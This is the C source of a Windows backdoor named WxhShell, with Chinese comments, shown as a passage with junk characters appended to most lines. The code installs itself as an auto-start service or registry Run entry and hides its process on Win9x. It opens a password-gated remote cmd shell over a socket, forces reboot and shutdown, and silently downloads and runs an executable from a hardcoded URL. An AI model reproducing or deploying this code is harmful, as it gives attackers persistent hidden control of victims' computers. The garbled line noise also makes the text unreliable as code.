  // 关机 .W+ F<]r  
  case 'd': { WPM<Qv L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XU#nqvS`.  
    if(Boot(SHUTDOWN)) ^(0tNX/XD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OWK)4[HY(  
    else { Z0e+CEzq  
    closesocket(wsh); HG%H@uK  
    ExitThread(0); IJnr^S8  
    } J}.y+b>8\  
    break; fV.43E  
    } 6)eU &5z1?  
  // 获取shell }PY? ZG  
  case 's': { aUy=D:\  
    CmdShell(wsh); OQh36BM  
    closesocket(wsh); r4xq%hy  
    ExitThread(0); ~;;_POm  
    break; O:a$ U:  
  } wzMWuA4vX  
  // 退出 Y e}y_W  
  case 'x': { VrokEK*qbY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }m<)$.x|P  
    CloseIt(wsh); dMwVgc:  
    break; [vaG{4m  
    } `<>8tZS9"  
  // 离开 A{E0 a:v  
  case 'q': { Y4Z?`TL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t747SZWgB  
    closesocket(wsh); NwG&uc+Q  
    WSACleanup(); 9CWUhS   
    exit(1); o+O\VNW  
    break; 8[FC  
        } *3<m<<>U  
  } FJ}QKDQW=  
  } ':!;6v|L  
K(plzQ3  
  // 提示信息 f41!+W=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 00G[ `a5  
} cQv*lvG9>  
  } `4&\ %9   
<!zItFMD[m  
  return; 5hpb=2  
}  j>s%q .  
Drlt xI)  
// shell模块句柄 C_#0Y_O  
int CmdShell(SOCKET sock) F ,{nG[PL  
{ 3@}HdLmN|  
STARTUPINFO si; N_VAdNJ^:  
ZeroMemory(&si,sizeof(si)); PSHs<Z47  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A}\Rms 2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^%d+nKx9nL  
PROCESS_INFORMATION ProcessInfo; \FTv N  
char cmdline[]="cmd"; hpXu3o7e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EW4XFP4 c  
  return 0; #IBBaxOk  
} 4:<0i0)5  
9~,eu  
// 自身启动模式 oUw-l_M]  
int StartFromService(void) z6G^BaT'  
{ |<ke>j/6n  
typedef struct `bT{E.(T  
{ oT|E\wj  
  DWORD ExitStatus; de1&  
  DWORD PebBaseAddress; Y=3Y~  
  DWORD AffinityMask; 1}8e@`G0.]  
  DWORD BasePriority; NE9e br K  
  ULONG UniqueProcessId; I/WnF"yP  
  ULONG InheritedFromUniqueProcessId; r 'jVF'w  
}   PROCESS_BASIC_INFORMATION; _n}!1(xYa`  
l.BSZhO$  
PROCNTQSIP NtQueryInformationProcess; 59^@K"J  
'*3+'>   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iMp)g%Ng  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2 yP#:T/z  
\k1Wh-3  
  HANDLE             hProcess; x2ol   
  PROCESS_BASIC_INFORMATION pbi; RV(}\JU  
+Kq>r|;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 82)d.>  
  if(NULL == hInst ) return 0; ]K9 x<@!  
j9u-C/Q\r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;v0sM*x%V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z=F=@<!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wt3\&.n  
6!"15dPN  
  if (!NtQueryInformationProcess) return 0; ZTmdS  
W&!Yprr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >uuX<\cW  
  if(!hProcess) return 0; C#-x 3d-{  
z|b4w7 I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XbH X,W$h  
Y*}Sq|y  
  CloseHandle(hProcess); r>)\"U#  
huTJ a2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +Zr03B  
if(hProcess==NULL) return 0; 2#!$f_  
5;^8wh(  
HMODULE hMod; T]vD ,I+  
char procName[255]; "7<4NV@yQ  
unsigned long cbNeeded; J5o"JRJ"  
_&z>Id`w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gR(c;  
B\=&v8  
  CloseHandle(hProcess); r=w%"3vb^  
gvU6p[D  
if(strstr(procName,"services")) return 1; // 以服务启动 F@I_sGCcb  
uVO9r-O8p  
  return 0; // 注册表启动 uo{QF5z]  
} u3ZG;ykM  
7Ow7|  
// 主模块 3|?fGT;P  
int StartWxhshell(LPSTR lpCmdLine) K7l{&2>?  
{ vn_avYwiy  
  SOCKET wsl; -12v/an]L7  
BOOL val=TRUE; S; c=6@"  
  int port=0; evs2dz<eA  
  struct sockaddr_in door; k@Tt,.];  
)} #r"!  
  if(wscfg.ws_autoins) Install(); }"8_$VDcz  
M`<D Z<:<  
port=atoi(lpCmdLine); j>T''T f  
u<8Q[_E&  
if(port<=0) port=wscfg.ws_port; 1)R)+`y  
]@P*&FRcZ  
  WSADATA data; 3edAI&a5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v\ox:C  
S&Sf}uK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "+WR[-n>\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9mnON~j5  
  door.sin_family = AF_INET; 8j$q%g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e)7)~g54  
  door.sin_port = htons(port); xr/ k.Fz  
'KL(A-}!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6)$_2G%Zq  
closesocket(wsl); kT1lOP-Bg  
return 1; EyeLC6u  
} =FbfV*K 9  
Y'5ck(  
  if(listen(wsl,2) == INVALID_SOCKET) { fUXp)0O  
closesocket(wsl); ;Ki1nq5c#s  
return 1; #dft-23  
} 7q2YsI  
  Wxhshell(wsl); jveRiW@  
  WSACleanup(); 6&Dvp1`m  
:t qjm:  
return 0; "!tB";n  
vFOv IVp  
} ,ln uu  
~30Wb9eL  
// 以NT服务方式启动 IT(c'}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =;H'~  
{ [}2.CM  
DWORD   status = 0; ]SL&x:/-  
  DWORD   specificError = 0xfffffff; VO Qt{v{1|  
q,DX{:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6dL>Rzl$Dk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k%g xY% 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |^Es6 .~  
  serviceStatus.dwWin32ExitCode     = 0; Xoy1Gi?  
  serviceStatus.dwServiceSpecificExitCode = 0; ".%LBs~$  
  serviceStatus.dwCheckPoint       = 0; 6bNW1]rD  
  serviceStatus.dwWaitHint       = 0; {*<C!Qg  
`5Btg. &  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $kma#7  
  if (hServiceStatusHandle==0) return; {1aAm+  
!yX<v%>_0  
status = GetLastError(); }i&dZTBGW  
  if (status!=NO_ERROR) ^-u HdafP  
{ #sU~fq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wp}9%Mq~Jy  
    serviceStatus.dwCheckPoint       = 0; ]$*{<  
    serviceStatus.dwWaitHint       = 0; aT#{t {gkA  
    serviceStatus.dwWin32ExitCode     = status; rx>Tc#g  
    serviceStatus.dwServiceSpecificExitCode = specificError; &ZN'Ey?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "t:.mA<v  
    return; VaSNFl1_M  
  } `E=rh3 L0o  
_c8.muQ<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m5w9l"U]H  
  serviceStatus.dwCheckPoint       = 0; sBtG}Mo)  
  serviceStatus.dwWaitHint       = 0; xY0QGQca  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yvWzc uL#  
} O2]r]9sh*  
;"Y;l=9_  
// 处理NT服务事件,比如:启动、停止 P9"D[uz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) urXb!e{l  
{ qM>OE8c#/  
switch(fdwControl) N~5WA3xd  
{ UD<^r]'x  
case SERVICE_CONTROL_STOP: 7G[ GHc>  
  serviceStatus.dwWin32ExitCode = 0; 2${,%8"0s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l8xd73D)8  
  serviceStatus.dwCheckPoint   = 0; 4 uy@ {  
  serviceStatus.dwWaitHint     = 0; R%N#G<^R  
  { aI{@]hCo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?PE1aB+{:  
  } [wio/wc  
  return; #~URLN  
case SERVICE_CONTROL_PAUSE: k;fnC+Y$s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )fd-IYi-3  
  break; ?X_0Iy}1  
case SERVICE_CONTROL_CONTINUE: ( X 'FQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s/G5wRl<  
  break; ?%dCU~ z  
case SERVICE_CONTROL_INTERROGATE: 0^!,[oh6*  
  break; D;^ZWz0  
}; e(n2+S#N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ife,h s  
} c ;21i;&,9  
1!;"bHpk  
// 标准应用程序主函数 s;_#7x#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G{:af:5Fo  
{ UOLTCp?M;J  
S0.- >"L  
// 获取操作系统版本 1RI#kti-"  
OsIsNt=GetOsVer(); /md Q(Dm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Nag%o{*S>  
o^_W$4Fc  
  // 从命令行安装 4lY&=_K[)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0l(E!d8&'  
2yJ7]+Jd7Y  
  // 下载执行文件 KtfkE\KP  
if(wscfg.ws_downexe) { q-3J.VLJ5H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G {pP}  
  WinExec(wscfg.ws_filenam,SW_HIDE); kol,Qs  
} 'TK$ndy;7}  
KM_)7?`  
if(!OsIsNt) { []=FZ`4  
// 如果时win9x,隐藏进程并且设置为注册表启动 C NzSBm  
HideProc(); Y uw E 0  
StartWxhshell(lpCmdLine); 2pxWv )0  
} rY[3_NG%  
else hpqHllL  
  if(StartFromService()) ,NaV [ "9$  
  // 以服务方式启动 ^Kw&=u  
  StartServiceCtrlDispatcher(DispatchTable);  EbBv}9g  
else x;ERRK  
  // 普通方式启动 PUQ_w  
  StartWxhshell(lpCmdLine); =#.8$oa^  
%)<oX9E  
return 0; OUlxeo/  
} I*+LJy;j  
)I Y 5Y  
XDP6T"h  
r|\5'ZMx  
=========================================== %67G]?EXB  
r{R[[]p  
w!B,kqTG  
)T.pjl  
VeNNsg>&  
fXF=F,!t  
" Xa{~a3Wy  
fw1;i  
#include <stdio.h> uS: A4tN  
#include <string.h> ?;:9 W  
#include <windows.h> 8(vC jL  
#include <winsock2.h> 7GBZA=J  
#include <winsvc.h> Q>}e IQ Y  
#include <urlmon.h> DqurHQ z)m  
j{Yt70Wv  
#pragma comment (lib, "Ws2_32.lib") YZ"+c&V"  
#pragma comment (lib, "urlmon.lib") 8CP9DS  
80FCe(U  
#define MAX_USER   100 // 最大客户端连接数 ]b0zkoD9<  
#define BUF_SOCK   200 // sock buffer Zzw}sZ?8  
#define KEY_BUFF   255 // 输入 buffer 5(iSOsb  
IKMs Y5i  
#define REBOOT     0   // 重启 AND7jEn  
#define SHUTDOWN   1   // 关机 R\9>2*w  
dT0^-XSY  
#define DEF_PORT   5000 // 监听端口 xE G+%Uk{  
|MOn0 *  
#define REG_LEN     16   // 注册表键长度 Xmf  
#define SVC_LEN     80   // NT服务名长度 $n=W2WJ6f  
U,%s;  
// 从dll定义API Q-! i$#-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M&|sR+$^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b[J-ja.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Eonq'Re$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %K&+~CJE  
%mK3N2N$  
// wxhshell配置信息 8~&F/C*  
struct WSCFG { 6pM"h5hA  
  int ws_port;         // 监听端口 W\I$`gyC/  
  char ws_passstr[REG_LEN]; // 口令 4)z3X\u|Z2  
  int ws_autoins;       // 安装标记, 1=yes 0=no T8,k7 7  
  char ws_regname[REG_LEN]; // 注册表键名 ALE808;|  
  char ws_svcname[REG_LEN]; // 服务名 D:YN_J"kV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l1-4n*fU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -vv   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $:%*gY4~76  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iN:G/ss4O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s0C?Bb}?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '+)6#/*  
`7u\   
}; kdK*MUB  
SBCL1aM  
// default Wxhshell configuration  _/8_,9H  
struct WSCFG wscfg={DEF_PORT, |Q5H9<*  
    "xuhuanlingzhe", k9*J*7l-m  
    1, ax-=n(   
    "Wxhshell", ^;V}l?J_s  
    "Wxhshell", QE7+rBa  
            "WxhShell Service", 0=N4O!X9  
    "Wrsky Windows CmdShell Service", vbr~<JT=  
    "Please Input Your Password: ",  'P@=/  
  1, 7j@^+rkr3f  
  "http://www.wrsky.com/wxhshell.exe", LFE p  
  "Wxhshell.exe" /`7 IK  
    }; E0sbU<11  
"_ nX5J9  
// 消息定义模块 +G5'kYzJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4ggVj*{v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z{Hz;m:*_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $?H]S]#|}.  
char *msg_ws_ext="\n\rExit."; M?E9N{t8)a  
char *msg_ws_end="\n\rQuit."; _Ct}%-,4  
char *msg_ws_boot="\n\rReboot..."; H "Q(2I  
char *msg_ws_poff="\n\rShutdown..."; 3mpP| b"  
char *msg_ws_down="\n\rSave to "; { M`  
L\QQjI{  
char *msg_ws_err="\n\rErr!"; 3M}AxE u  
char *msg_ws_ok="\n\rOK!"; '4J&Gpx  
B*9  
char ExeFile[MAX_PATH]; fs wZM\@  
int nUser = 0; 1P5*wNF  
HANDLE handles[MAX_USER]; ~GNyE*t/Y  
int OsIsNt; GYFgEg}  
k TFz_*6.  
SERVICE_STATUS       serviceStatus; B"~U<6s0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PLO\L W  
"F&Tnhh4  
// 函数声明 LTg?5GwD\j  
int Install(void); \ua9thOG  
int Uninstall(void); kFS0i%Sr  
int DownloadFile(char *sURL, SOCKET wsh); jFgZ}Xp  
int Boot(int flag); 11i"nR|  
void HideProc(void); 8&?^XcJ*x  
int GetOsVer(void); ^bF}_CSE  
int Wxhshell(SOCKET wsl); ~ wfoK7T}  
void TalkWithClient(void *cs); S/a/1 n$ U  
int CmdShell(SOCKET sock); c}YJqhk0J  
int StartFromService(void); 6o$Z0mG  
int StartWxhshell(LPSTR lpCmdLine); iYkRo>3!QX  
; qO@A1Hq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 60~v t04  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S|l&fb n  
 UP\8w#~  
// 数据结构和表定义 {;U}:Dx  
SERVICE_TABLE_ENTRY DispatchTable[] = w+Ad$4Pf"  
{ G"}qV%"6"  
{wscfg.ws_svcname, NTServiceMain}, )$MS 0[?  
{NULL, NULL} Jm?l59bv v  
}; (&q@~ dJ  
w#W5}i&x  
// 自我安装 AdDQWJ^r  
int Install(void) t$aVe"uM  
{ 6!*K/2:O  
  char svExeFile[MAX_PATH]; OMl8 a B9  
  HKEY key; 0 9tikj1  
  strcpy(svExeFile,ExeFile); !$xzA X,  
LOe4c0C6Ca  
// 如果是win9x系统,修改注册表设为自启动 ,xYg  
if(!OsIsNt) { 2q12y Y f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N0]z/}hd@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B<A:_'g  
  RegCloseKey(key); _wMc*kjJO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mG X\wta  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P<8LAc$T  
  RegCloseKey(key); yxqTm%?y  
  return 0; wyp{KIV  
    } STv(kQs  
  } \{kHSV%z  
} EH(tUwY%{  
else { FSv1X  
cS4xe(n8  
// 如果是NT以上系统,安装为系统服务  1U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S<*';{5~  
if (schSCManager!=0) '=$TyiU  
{ MdLj,1_T  
  SC_HANDLE schService = CreateService R j-jAH  
  ( m^ z,,t9  
  schSCManager,  /; +oz  
  wscfg.ws_svcname, 5Lw{0uLr  
  wscfg.ws_svcdisp, 2ed@HJu  
  SERVICE_ALL_ACCESS, d"Bo8`_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Xi2G@D  
  SERVICE_AUTO_START, T)`gm{T  
  SERVICE_ERROR_NORMAL, #uB[&GG}W  
  svExeFile, Yi[4DfA  
  NULL, q{/*n]K  
  NULL, X+@s]  
  NULL, =<Hy"4+?.  
  NULL, ZHz^S)o\[s  
  NULL B .El a  
  ); FZeP<Ban  
  if (schService!=0) U8E0~[y'  
  { *jGPGnSo  
  CloseServiceHandle(schService); (yfXMp,x  
  CloseServiceHandle(schSCManager); ]XY0c6 <  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4AJ9`1d4  
  strcat(svExeFile,wscfg.ws_svcname); P> |Ef~j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v< Ty|(gd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K@HLIuz4t  
  RegCloseKey(key); W.IH#`-9E  
  return 0; cFw3Iw"JJ  
    } B+|IZoR  
  } 2f `&WUe  
  CloseServiceHandle(schSCManager);  -W9gH  
} g2A"1w<-AH  
} m.!wsw  
jBS'g{y-!  
return 1; Ny]lvgu9X  
} r-*l1([eW  
%Sc=_%6  
// 自我卸载 N_0pO<<cs  
int Uninstall(void) t]4!{~,  
{ J, r Xx:  
  HKEY key; (VEp~BW@-R  
;e2Ij  
if(!OsIsNt) { lz- iCZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s88y{o  
  RegDeleteValue(key,wscfg.ws_regname); 2g0K76=Co:  
  RegCloseKey(key); I-TlrW=t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <vL}l:r  
  RegDeleteValue(key,wscfg.ws_regname); f*v1J<1#  
  RegCloseKey(key); {|Bd?U;  
  return 0; \,hrk~4U;(  
  } #.o0mguU  
} Q]^Yi1PbS  
} <;aJ#qT  
else { !KAsvF,j  
9]Lo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `wf|uM  
if (schSCManager!=0) Ep<YCSQy$i  
{ RU7!U mf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i]dz}=j'  
  if (schService!=0) IEc>.J|T&  
  { 4aA9\\hfGY  
  if(DeleteService(schService)!=0) { *N`;I@Q"[  
  CloseServiceHandle(schService); a/:]"`)  
  CloseServiceHandle(schSCManager); L*9H#%3  
  return 0; bK?MT]%}r  
  } *{Yh6 {  
  CloseServiceHandle(schService); Hl/7(FJqc>  
  } zs0hXxTY:  
  CloseServiceHandle(schSCManager); G8noQ_-  
} 2Sjt=LOc="  
} ">cqt>2 A  
V\"1wV~E  
return 1; .8:+MW/  
} M.S s: ttj  
svqvG7  
// 从指定url下载文件 Vli3>K&  
int DownloadFile(char *sURL, SOCKET wsh) -( (Z@T1k  
{ O <>#>[  
  HRESULT hr; vkuc8 li  
char seps[]= "/"; !:dL~n  
char *token; b#A(*a_gN  
char *file; Qne0kB5m  
char myURL[MAX_PATH]; ]H>+m 9  
char myFILE[MAX_PATH]; h mds(lv7  
SYeE) mI  
strcpy(myURL,sURL); `2,a(Sk#  
  token=strtok(myURL,seps); LZ4xfB (  
  while(token!=NULL) 8'\~%xw  
  { 5=Suj*s{D#  
    file=token; y~dB5/  
  token=strtok(NULL,seps); =tnTdp0F  
  } 9{$8\E9*nd  
(uRZxX  
GetCurrentDirectory(MAX_PATH,myFILE); "Tv:*L5  
strcat(myFILE, "\\"); `[OXVs,7"  
strcat(myFILE, file); W"|mpxp  
  send(wsh,myFILE,strlen(myFILE),0); 8?kP*tmcZ  
send(wsh,"...",3,0); j3{HkcjJG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mTJ"l(,3  
  if(hr==S_OK) jFG5)t<D  
return 0; EavX8r  
else S*xhX1yUi  
return 1; @UV{:]f~e  
BKX 9 SL]  
} xG8`'SNY  
0U%Xm[:  
// 系统电源模块 |/*pT1(&  
int Boot(int flag) /LF3O~Go  
{ C 0>=x{,v  
  HANDLE hToken; ,z G(u 1  
  TOKEN_PRIVILEGES tkp; %<AS?Ry  
_[F@1NJ  
  if(OsIsNt) { Qm; BUG]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7OE[RX8!f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wA631kr  
    tkp.PrivilegeCount = 1; VXwPdMy*L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ogJ<e_ m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nP OO3!<{  
if(flag==REBOOT) { 3}j1RYtz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Za0gs @$  
  return 0; St2Q7K5s{  
} 0E1=W 6UZ  
else { ~{P:sjsU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rd" &QB{  
  return 0; 1AT'S;`  
} gApz:K[l  
  } _YLUS$Zw  
  else { 8kS~ENe?o  
if(flag==REBOOT) { sl^n6N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =hGJAU  
  return 0; xDUaHE1co  
} AEqq1A   
else { >(3'Tnu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (A uPZ  
  return 0; 4w;~4#ZPp  
} O_AGMW/2+  
} nj  
a,cC!   
return 1; 9n 6fXOC  
} q]XHa,"  
SM<d  
// win9x进程隐藏模块 7k~Lttuk  
void HideProc(void) b2s~%}T  
{ akCIa'>t  
($S Lb6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i-.c= M  
  if ( hKernel != NULL ) Pr/]0<s  
  { fGTOIi@#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vI|As+`$d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T>F9Hs  W  
    FreeLibrary(hKernel); t%$@fjz  
  } Q6x%  
c&m9)r~zP  
return; eO[c lB  
} 2yxi= XWZ  
;{Jb6'K1h  
// 获取操作系统版本 >|nt2  
int GetOsVer(void) !=[>r'+3  
{ $:;%bjSI  
  OSVERSIONINFO winfo; ?(D}5`Nfu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); agT7=hX].  
  GetVersionEx(&winfo); |[LE9Lq/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aS/`A  
  return 1; '\t7jQ  
  else Xm@aYNV  
  return 0; #8UseK  
} s#P:6]Ar  
>3P9 i ;W  
// 客户端句柄模块 %w:'!X><  
int Wxhshell(SOCKET wsl) *~;8N|4<  
{ |X3">U +-  
  SOCKET wsh; Mpm#GdT  
  struct sockaddr_in client; ;($1Z7j+  
  DWORD myID; N9`97;.X  
n1 v,#GE  
  while(nUser<MAX_USER) e1uMR-Q  
{ G#lg|# -#  
  int nSize=sizeof(client); b{pg!/N4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ux_<d?p  
  if(wsh==INVALID_SOCKET) return 1; OL9]*G?F  
EneAX&SG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4E'|.tt(  
if(handles[nUser]==0) l&|)O6N  
  closesocket(wsh); y ||@?Y  
else bKUyBk,\#  
  nUser++; qiU5{}  
  } -|[~sj-p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _+n;A46  
)S Q('vwg  
  return 0; qHJ'1~?q  
} = t-fYV  
x.\XUJ4x  
// 关闭 socket 4=s9A  
void CloseIt(SOCKET wsh) n ,1tD  
{ @'gl~J7  
closesocket(wsh); n^Vxi;F  
nUser--; L=m:/qQL  
ExitThread(0); o&,Y<$!:VH  
} W>:kq_gT  
8 }z3CuM  
// 客户端请求句柄 _>i|s|aW  
void TalkWithClient(void *cs) HEpM4xe$  
{ 9FNwpL'C  
MHl^/e@  
  SOCKET wsh=(SOCKET)cs; C fSl 54  
  char pwd[SVC_LEN]; 9 `INC~h  
  char cmd[KEY_BUFF]; H/`G  
char chr[1]; :MBS>owR  
int i,j; (H1lqlVWV#  
doH2R @  
  while (nUser < MAX_USER) { B.6`cM^  
>-zkB)5<,#  
if(wscfg.ws_passstr) { :A#+=O0\z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (Y)!"_|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QPV@'.2m  
  //ZeroMemory(pwd,KEY_BUFF); K%PxA #P}  
      i=0; quRPg)  
  while(i<SVC_LEN) { %yvA   
esteFLm`6  
  // 设置超时 _k|g@"  
  fd_set FdRead; t\|J&4!Y  
  struct timeval TimeOut; ctK65h{Eo  
  FD_ZERO(&FdRead); 5v3RVaqZ  
  FD_SET(wsh,&FdRead); A!4VjE>  
  TimeOut.tv_sec=8; 4(8<w cL  
  TimeOut.tv_usec=0; [9HYO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q]T BQ&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [,GU5,o  
|i u2&p >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fa yKM  
  pwd=chr[0]; k{{hZ/om  
  if(chr[0]==0xd || chr[0]==0xa) { P>fKX2eQ-  
  pwd=0; }\VX^{K j  
  break; 5pmQp}}R  
  } D>Ua#<52q  
  i++; '{CWanTPi  
    } .8x@IWJD  
M=6G:HHY  
  // 如果是非法用户,关闭 socket t*s!0 'Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NFV_+{X\  
} ^X^,>Z|  
S QSA%B$<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~M; gM]r;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wcl!S{  
]xYayN!n  
while(1) { #?Wo <]i  
s|E%~j[9  
  ZeroMemory(cmd,KEY_BUFF); POY=zUQ'/  
U&s(1~e\  
      // 自动支持客户端 telnet标准   ~Zu}M>-^c,  
  j=0; ?jFc@t*\:  
  while(j<KEY_BUFF) { W%WC(/hor  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fSr`>UpxC  
  cmd[j]=chr[0]; ^^eV4Y5`+  
  if(chr[0]==0xa || chr[0]==0xd) { jQkUNPHu  
  cmd[j]=0; #.b^E3#+  
  break; l:x _j\  
  } g/!Otgfu  
  j++; ff[C'  
    } 1MpX] j8C#  
'cYQ ?;  
  // 下载文件 ,;c{9H  
  if(strstr(cmd,"http://")) { {)@ j77P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q+lbN  
